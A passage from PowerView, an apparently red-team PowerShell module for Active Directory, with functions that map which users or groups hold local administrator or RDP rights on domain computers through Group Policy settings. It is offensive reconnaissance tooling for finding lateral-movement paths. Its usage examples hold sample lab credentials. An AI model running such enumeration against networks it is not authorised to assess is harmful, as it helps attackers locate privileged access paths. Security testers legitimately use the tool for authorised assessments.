  13395                         }
  13396                     }
  13397                     else {
  13398                         $GroupName = $Membership.Key
  13399 
  13400                         if ($GroupName -and ($GroupName.Trim() -ne '')) {
  13401                             if ($Groupname -match 'Administrators') {
  13402                                 $GroupSID = 'S-1-5-32-544'
  13403                             }
  13404                             elseif ($Groupname -match 'Remote Desktop') {
  13405                                 $GroupSID = 'S-1-5-32-555'
  13406                             }
  13407                             elseif ($Groupname -match 'Guests') {
  13408                                 $GroupSID = 'S-1-5-32-546'
  13409                             }
  13410                             elseif ($GroupName.Trim() -ne '') {
  13411                                 $ConvertToArguments = @{'ObjectName' = $Groupname}
  13412                                 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  13413                                 $GroupSID = ConvertTo-SID @ConvertToArguments
  13414                             }
  13415                             else {
  13416                                 $GroupSID = $Null
  13417                             }
  13418                         }
  13419                     }
  13420 
  13421                     $GPOGroup = New-Object PSObject
  13422                     $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
  13423                     $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
  13424                     $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
  13425                     $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
  13426                     $GPOGroup | Add-Member Noteproperty 'Filters' $Null
  13427                     $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
  13428                     $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
  13429                     $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
  13430                     $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
  13431                     $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
  13432                     $GPOGroup
  13433                 }
  13434             }
  13435 
  13436             # now try to the parse group policy preferences file (Groups.xml) if it exists
  13437             $ParseArgs =  @{
  13438                 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
  13439             }
  13440 
  13441             Get-GroupsXML @ParseArgs | ForEach-Object {
  13442                 if ($PSBoundParameters['ResolveMembersToSIDs']) {
  13443                     $GroupMembers = @()
  13444                     ForEach ($Member in $_.GroupMembers) {
  13445                         if ($Member -and ($Member.Trim() -ne '')) {
  13446                             if ($Member -notmatch '^S-1-.*') {
  13447 
  13448                                 # if the resulting member is username and not a SID, attempt to resolve it
  13449                                 $ConvertToArguments = @{'ObjectName' = $Groupname}
  13450                                 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  13451                                 $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
  13452 
  13453                                 if ($MemberSID) {
  13454                                     $GroupMembers += $MemberSID
  13455                                 }
  13456                                 else {
  13457                                     $GroupMembers += $Member
  13458                                 }
  13459                             }
  13460                             else {
  13461                                 $GroupMembers += $Member
  13462                             }
  13463                         }
  13464                     }
  13465                     $_.GroupMembers = $GroupMembers
  13466                 }
  13467 
  13468                 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
  13469                 $_ | Add-Member Noteproperty 'GPOName' $GPOName
  13470                 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
  13471                 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
  13472                 $_
  13473             }
  13474         }
  13475     }
  13476 }
  13477 
  13478 
  13479 function Get-DomainGPOUserLocalGroupMapping {
  13480 <#
  13481 .SYNOPSIS
  13482 
  13483 Enumerates the machines where a specific domain user/group is a member of a specific
  13484 local group, all through GPO correlation. If no user/group is specified, all
  13485 discoverable mappings are returned.
  13486 
  13487 Author: @harmj0y  
  13488 License: BSD 3-Clause  
  13489 Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup  
  13490 
  13491 .DESCRIPTION
  13492 
  13493 Takes a user/group name and optional domain, and determines the computers in the domain
  13494 the user/group has local admin (or RDP) rights to.
  13495 
  13496 It does this by:
  13497     1.  resolving the user/group to its proper SID
  13498     2.  enumerating all groups the user/group is a current part of
  13499         and extracting all target SIDs to build a target SID list
  13500     3.  pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
  13501         Get-DomainGPOLocalGroup
  13502     4.  matching the target SID list to the queried GPO SID list
  13503         to enumerate all GPO the user is effectively applied with
  13504     5.  enumerating all OUs and sites and applicable GPO GUIs are
  13505         applied to through gplink enumerating
  13506     6.  querying for all computers under the given OUs or sites
  13507 
  13508 If no user/group is specified, all user/group -> machine mappings discovered through
  13509 GPO relationships are returned.
  13510 
  13511 .PARAMETER Identity
  13512 
  13513 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
  13514 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
  13515 for the user/group to identity GPO local group mappings for.
  13516 
  13517 .PARAMETER LocalGroup
  13518 
  13519 The local group to check access against.
  13520 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
  13521 or a custom local SID. Defaults to local 'Administrators'.
  13522 
  13523 .PARAMETER Domain
  13524 
  13525 Specifies the domain to enumerate GPOs for, defaults to the current domain.
  13526 
  13527 .PARAMETER Server
  13528 
  13529 Specifies an Active Directory server (domain controller) to bind to.
  13530 
  13531 .PARAMETER SearchScope
  13532 
  13533 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  13534 
  13535 .PARAMETER ResultPageSize
  13536 
  13537 Specifies the PageSize to set for the LDAP searcher object.
  13538 
  13539 .PARAMETER ServerTimeLimit
  13540 
  13541 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  13542 
  13543 .PARAMETER Tombstone
  13544 
  13545 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  13546 
  13547 .PARAMETER Credential
  13548 
  13549 A [Management.Automation.PSCredential] object of alternate credentials
  13550 for connection to the target domain.
  13551 
  13552 .EXAMPLE
  13553 
  13554 Get-DomainGPOUserLocalGroupMapping
  13555 
  13556 Find all user/group -> machine relationships where the user/group is a member
  13557 of the local administrators group on target machines.
  13558 
  13559 .EXAMPLE
  13560 
  13561 Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
  13562 
  13563 Find all computers that dfm user has local administrator rights to in
  13564 the dev.testlab.local domain.
  13565 
  13566 .EXAMPLE
  13567 
  13568 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  13569 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  13570 Get-DomainGPOUserLocalGroupMapping -Credential $Cred
  13571 
  13572 .OUTPUTS
  13573 
  13574 PowerView.GPOLocalGroupMapping
  13575 
  13576 A custom PSObject containing any target identity information and what local
  13577 group memberships they're a part of through GPO correlation.
  13578 
  13579 .LINK
  13580 
  13581 http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
  13582 #>
  13583 
  13584     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  13585     [OutputType('PowerView.GPOUserLocalGroupMapping')]
  13586     [CmdletBinding()]
  13587     Param(
  13588         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  13589         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  13590         [String]
  13591         $Identity,
  13592 
  13593         [String]
  13594         [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
  13595         $LocalGroup = 'Administrators',
  13596 
  13597         [ValidateNotNullOrEmpty()]
  13598         [String]
  13599         $Domain,
  13600 
  13601         [ValidateNotNullOrEmpty()]
  13602         [Alias('ADSPath')]
  13603         [String]
  13604         $SearchBase,
  13605 
  13606         [ValidateNotNullOrEmpty()]
  13607         [Alias('DomainController')]
  13608         [String]
  13609         $Server,
  13610 
  13611         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  13612         [String]
  13613         $SearchScope = 'Subtree',
  13614 
  13615         [ValidateRange(1, 10000)]
  13616         [Int]
  13617         $ResultPageSize = 200,
  13618 
  13619         [ValidateRange(1, 10000)]
  13620         [Int]
  13621         $ServerTimeLimit,
  13622 
  13623         [Switch]
  13624         $Tombstone,
  13625 
  13626         [Management.Automation.PSCredential]
  13627         [Management.Automation.CredentialAttribute()]
  13628         $Credential = [Management.Automation.PSCredential]::Empty
  13629     )
  13630 
  13631     BEGIN {
  13632         $CommonArguments = @{}
  13633         if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
  13634         if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
  13635         if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
  13636         if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
  13637         if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
  13638         if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
  13639         if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
  13640     }
  13641 
  13642     PROCESS {
  13643         $TargetSIDs = @()
  13644 
  13645         if ($PSBoundParameters['Identity']) {
  13646             $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
  13647             $TargetObjectSID = $TargetSIDs
  13648             if (-not $TargetSIDs) {
  13649                 Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
  13650             }
  13651         }
  13652         else {
  13653             # no filtering/match all
  13654             $TargetSIDs = @('*')
  13655         }
  13656 
  13657         if ($LocalGroup -match 'S-1-5') {
  13658             $TargetLocalSID = $LocalGroup
  13659         }
  13660         elseif ($LocalGroup -match 'Admin') {
  13661             $TargetLocalSID = 'S-1-5-32-544'
  13662         }
  13663         else {
  13664             # RDP
  13665             $TargetLocalSID = 'S-1-5-32-555'
  13666         }
  13667 
  13668         if ($TargetSIDs[0] -ne '*') {
  13669             ForEach ($TargetSid in $TargetSids) {
  13670                 Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
  13671                 $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
  13672             }
  13673         }
  13674 
  13675         Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
  13676         Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
  13677 
  13678         $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
  13679             $GPOgroup = $_
  13680             # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
  13681             if ($GPOgroup.GroupSID -match $TargetLocalSID) {
  13682                 $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
  13683                     if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
  13684                         $GPOgroup
  13685                     }
  13686                 }
  13687             }
  13688             # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
  13689             if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
  13690                 if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
  13691                     $GPOgroup
  13692                 }
  13693             }
  13694         } | Sort-Object -Property GPOName -Unique
  13695 
  13696         $GPOgroups | Where-Object {$_} | ForEach-Object {
  13697             $GPOname = $_.GPODisplayName
  13698             $GPOguid = $_.GPOName
  13699             $GPOPath = $_.GPOPath
  13700             $GPOType = $_.GPOType
  13701             if ($_.GroupMembers) {
  13702                 $GPOMembers = $_.GroupMembers
  13703             }
  13704             else {
  13705                 $GPOMembers = $_.GroupSID
  13706             }
  13707 
  13708             $Filters = $_.Filters
  13709 
  13710             if ($TargetSIDs[0] -eq '*') {
  13711                 # if the * wildcard was used, set the targets to all GPO members so everything it output
  13712                 $TargetObjectSIDs = $GPOMembers
  13713             }
  13714             else {
  13715                 $TargetObjectSIDs = $TargetObjectSID
  13716             }
  13717 
  13718             # find any OUs that have this GPO linked through gpLink
  13719             Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
  13720                 if ($Filters) {
  13721                     $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
  13722                 }
  13723                 else {
  13724                     $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
  13725                 }
  13726 
  13727                 if ($OUComputers) {
  13728                     if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
  13729 
  13730                     ForEach ($TargetSid in $TargetObjectSIDs) {
  13731                         $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
  13732 
  13733                         $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
  13734 
  13735                         $GPOLocalGroupMapping = New-Object PSObject
  13736                         $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
  13737                         $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
  13738                         $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
  13739                         $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
  13740                         $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
  13741                         $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
  13742                         $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
  13743                         $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
  13744                         $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
  13745                         $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
  13746                         $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
  13747                         $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
  13748                         $GPOLocalGroupMapping
  13749                     }
  13750                 }
  13751             }
  13752 
  13753             # find any sites that have this GPO linked through gpLink
  13754             Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
  13755                 ForEach ($TargetSid in $TargetObjectSIDs) {
  13756                     $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
  13757 
  13758                     $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
  13759 
  13760                     $GPOLocalGroupMapping = New-Object PSObject
  13761                     $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
  13762                     $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
  13763                     $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
  13764                     $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
  13765                     $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
  13766                     $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
  13767                     $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
  13768                     $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
  13769                     $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
  13770                     $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
  13771                     $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
  13772                     $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
  13773                     $GPOLocalGroupMapping
  13774                 }
  13775             }
  13776         }
  13777     }
  13778 }
  13779 
  13780 
  13781 function Get-DomainGPOComputerLocalGroupMapping {
  13782 <#
  13783 .SYNOPSIS
  13784 
  13785 Takes a computer (or GPO) object and determines what users/groups are in the specified
  13786 local group for the machine through GPO correlation.
  13787 
  13788 Author: @harmj0y  
  13789 License: BSD 3-Clause  
  13790 Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup  
  13791 
  13792 .DESCRIPTION
  13793 
  13794 This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
  13795 are in the specified local group for a target machine through GPO correlation.
  13796 
  13797 If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
  13798 determine the OU the computer is a part of. Then resolve the computer's site name with
  13799 Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
  13800 enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
  13801 each resulting GPO group, resolve the resulting user/group name to a full AD object and
  13802 return the results. This will return the domain objects that are members of the specified
  13803 -LocalGroup for the given computer.
  13804 
  13805 Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
  13806 localgroup specifications.
  13807 
  13808 .PARAMETER ComputerIdentity
  13809 
  13810 A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
  13811 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
  13812 or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
  13813 
  13814 .PARAMETER OUIdentity
  13815 
  13816 An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
  13817 GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
  13818 
  13819 .PARAMETER LocalGroup
  13820 
  13821 The local group to check access against.
  13822 Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
  13823 or a custom local SID. Defaults to local 'Administrators'.
  13824 
  13825 .PARAMETER Domain
  13826 
  13827 Specifies the domain to enumerate GPOs for, defaults to the current domain.
  13828 
  13829 .PARAMETER Server
  13830 
  13831 Specifies an Active Directory server (domain controller) to bind to.
  13832 
  13833 .PARAMETER SearchScope
  13834 
  13835 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  13836 
  13837 .PARAMETER ResultPageSize
  13838 
  13839 Specifies the PageSize to set for the LDAP searcher object.
  13840 
  13841 .PARAMETER ServerTimeLimit
  13842 
  13843 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  13844 
  13845 .PARAMETER Tombstone
  13846 
  13847 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  13848 
  13849 .PARAMETER Credential
  13850 
  13851 A [Management.Automation.PSCredential] object of alternate credentials
  13852 for connection to the target domain.
  13853 
  13854 .EXAMPLE
  13855 
  13856 Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
  13857 
  13858 Finds users who have local admin rights over WINDOWS3 through GPO correlation.
  13859 
  13860 .EXAMPLE
  13861 
  13862 Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
  13863 
  13864 Finds users who have RDP rights over WINDOWS4 through GPO correlation.
  13865 
  13866 .EXAMPLE
  13867 
  13868 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  13869 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  13870 Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
  13871 
  13872 .OUTPUTS
  13873 
  13874 PowerView.GGPOComputerLocalGroupMember
  13875 #>
  13876 
  13877     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  13878     [OutputType('PowerView.GGPOComputerLocalGroupMember')]
  13879     [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
  13880     Param(
  13881         [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  13882         [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
  13883         [String]
  13884         $ComputerIdentity,
  13885 
  13886         [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
  13887         [Alias('OU')]
  13888         [String]
  13889         $OUIdentity,
  13890 
  13891         [String]
  13892         [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
  13893         $LocalGroup = 'Administrators',
  13894 
  13895         [ValidateNotNullOrEmpty()]
  13896         [String]
  13897         $Domain,
  13898 
  13899         [ValidateNotNullOrEmpty()]
  13900         [Alias('ADSPath')]
  13901         [String]
  13902         $SearchBase,
  13903 
  13904         [ValidateNotNullOrEmpty()]
  13905         [Alias('DomainController')]
  13906         [String]
  13907         $Server,
  13908 
  13909         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  13910         [String]
  13911         $SearchScope = 'Subtree',
  13912 
  13913         [ValidateRange(1, 10000)]
  13914         [Int]
  13915         $ResultPageSize = 200,
  13916 
  13917         [ValidateRange(1, 10000)]
  13918         [Int]
  13919         $ServerTimeLimit,
  13920 
  13921         [Switch]
  13922         $Tombstone,
  13923 
  13924         [Management.Automation.PSCredential]
  13925         [Management.Automation.CredentialAttribute()]
  13926         $Credential = [Management.Automation.PSCredential]::Empty
  13927     )
  13928 
  13929     BEGIN {
  13930         $CommonArguments = @{}
  13931         if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
  13932         if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
  13933         if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
  13934         if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
  13935         if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
  13936         if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
  13937         if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
  13938     }
  13939 
  13940     PROCESS {
  13941         if ($PSBoundParameters['ComputerIdentity']) {
  13942             $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
  13943 
  13944             if (-not $Computers) {
  13945                 throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
  13946             }
  13947 
  13948             ForEach ($Computer in $Computers) {
  13949 
  13950                 $GPOGuids = @()
  13951 
  13952                 # extract any GPOs linked to this computer's OU through gpLink
  13953                 $DN = $Computer.distinguishedname
  13954                 $OUIndex = $DN.IndexOf('OU=')
  13955                 if ($OUIndex -gt 0) {
  13956                     $OUName = $DN.SubString($OUIndex)
  13957                 }
  13958                 if ($OUName) {
  13959                     $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
  13960                         Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
  13961                     }
  13962                 }
  13963 
  13964                 # extract any GPOs linked to this computer's site through gpLink
  13965                 Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
  13966                 $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
  13967                 if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
  13968                     $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
  13969                         Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
  13970                     }
  13971                 }
  13972 
  13973                 # process any GPO local group settings from the GPO GUID set
  13974                 $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
  13975                     $GPOGroup = $_
  13976 
  13977                     if($GPOGroup.GroupMembers) {
  13978                         $GPOMembers = $GPOGroup.GroupMembers
  13979                     }
  13980                     else {
  13981                         $GPOMembers = $GPOGroup.GroupSID
  13982                     }
  13983 
  13984                     $GPOMembers | ForEach-Object {
  13985                         $Object = Get-DomainObject @CommonArguments -Identity $_
  13986                         $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
  13987 
  13988                         $GPOComputerLocalGroupMember = New-Object PSObject
  13989                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
  13990                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
  13991                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
  13992                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
  13993                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
  13994                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
  13995                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
  13996                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
  13997                         $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
  13998                         $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
  13999                         $GPOComputerLocalGroupMember
  14000                     }
  14001                 }
  14002             }
  14003         }
  14004     }
  14005 }
  14006 
  14007 
  14008 function Get-DomainPolicyData {
  14009 <#
  14010 .SYNOPSIS
  14011 
  14012 Returns the default domain policy or the domain controller policy for the current
  14013 domain or a specified domain/domain controller.
  14014 
  14015 Author: Will Schroeder (@harmj0y)  
  14016 License: BSD 3-Clause  
  14017 Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID  
  14018 
  14019 .DESCRIPTION
  14020 
  14021 Returns the default domain policy or the domain controller policy for the current
  14022 domain or a specified domain/domain controller using Get-DomainGPO.
  14023 
  14024 .PARAMETER Domain
  14025 
  14026 The domain to query for default policies, defaults to the current domain.
  14027 
  14028 .PARAMETER Policy
  14029 
  14030 Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
  14031 Otherwise queries for the particular GPO name or GUID.
  14032 
  14033 .PARAMETER Server
  14034 
  14035 Specifies an Active Directory server (domain controller) to bind to.
  14036 
  14037 .PARAMETER ServerTimeLimit
  14038 
  14039 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  14040 
  14041 .PARAMETER Credential
  14042 
  14043 A [Management.Automation.PSCredential] object of alternate credentials
  14044 for connection to the target domain.
  14045 
  14046 .EXAMPLE
  14047 
  14048 Get-DomainPolicyData
  14049 
  14050 Returns the default domain policy for the current domain.
  14051 
  14052 .EXAMPLE
  14053 
  14054 Get-DomainPolicyData -Domain dev.testlab.local
  14055 
  14056 Returns the default domain policy for the dev.testlab.local domain.
  14057 
  14058 .EXAMPLE
  14059 
  14060 Get-DomainGPO | Get-DomainPolicy
  14061 
  14062 Parses any GptTmpl.infs found for any policies in the current domain.
  14063 
  14064 .EXAMPLE
  14065 
  14066 Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
  14067 
  14068 Returns the policy for the dev.testlab.local domain controller.
  14069 
  14070 .EXAMPLE
  14071 
  14072 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  14073 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  14074 Get-DomainPolicyData -Credential $Cred
  14075 
  14076 .OUTPUTS
  14077 
  14078 Hashtable
  14079 
  14080 Ouputs a hashtable representing the parsed GptTmpl.inf file.
  14081 #>
  14082 
  14083     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  14084     [OutputType([Hashtable])]
  14085     [CmdletBinding()]
  14086     Param(
  14087         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  14088         [Alias('Source', 'Name')]
  14089         [String]
  14090         $Policy = 'Domain',
  14091 
  14092         [ValidateNotNullOrEmpty()]
  14093         [String]
  14094         $Domain,
  14095 
  14096         [ValidateNotNullOrEmpty()]
  14097         [Alias('DomainController')]
  14098         [String]
  14099         $Server,
  14100 
  14101         [ValidateRange(1, 10000)]
  14102         [Int]
  14103         $ServerTimeLimit,
  14104 
  14105         [Management.Automation.PSCredential]
  14106         [Management.Automation.CredentialAttribute()]
  14107         $Credential = [Management.Automation.PSCredential]::Empty
  14108     )
  14109 
  14110     BEGIN {
  14111         $SearcherArguments = @{}
